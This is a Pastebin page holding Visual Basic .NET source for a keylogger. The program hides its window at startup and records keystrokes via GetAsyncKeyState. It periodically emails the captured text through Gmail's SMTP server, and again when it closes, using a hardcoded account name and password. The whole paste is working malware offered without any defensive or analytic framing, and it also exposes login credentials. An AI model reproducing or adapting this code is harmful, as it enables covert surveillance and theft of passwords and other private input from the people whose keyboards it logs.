Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Option Strict On
- Imports System.Web
- Imports System.IO
- Imports System.Net.Mail
- Public Class Form1
- Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Int32) As Integer
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick
- Dim result As Integer
- Dim key As String
- Dim i As Integer
- For i = 2 To 90
- result = 0
- result = GetAsyncKeyState(i)
- If result = -32767 Then
- key = Chr(i)
- If i = 13 Then key = vbNewLine
- Exit For
- End If
- Next i
- If key <> Nothing Then
- If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
- tbLog.Text &= key
- Else
- tbLog.Text &= key.ToLower
- End If
- End If
- If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "z" Then
- Me.Show()
- End If
- End Sub
- Private Sub timerSave_Tick() Handles timerSave.Tick
- Dim mail As New MailMessage()
- Dim SmtpServer As New SmtpClient
- SmtpServer.Credentials = New Net.NetworkCredential("haxxor1337@gmail.com", "riveba24")
- SmtpServer.Port = 587
- SmtpServer.Host = "smtp.gmail.com"
- SmtpServer.EnableSsl = True
- SmtpServer.EnableSsl = True
- mail.To.Add("haxxor1337@gmail.com")
- mail.From = New MailAddress("haxxor1337@gmail.com")
- mail.Subject = "KeyLogger"
- mail.Body = tbLog.Text
- SmtpServer.Send(mail)
- tbLog.Clear()
- End Sub
- Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
- tbLog.Text &= vbNewLine & "Closed at: " & Now & vbNewLine
- timerSave_Tick()
- End Sub
- Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
- Me.Visible = False
- tbLog.Text = "Started at: " & Now & vbNewLine
- End Sub
- End Class
Add Comment
Please, Sign In to add comment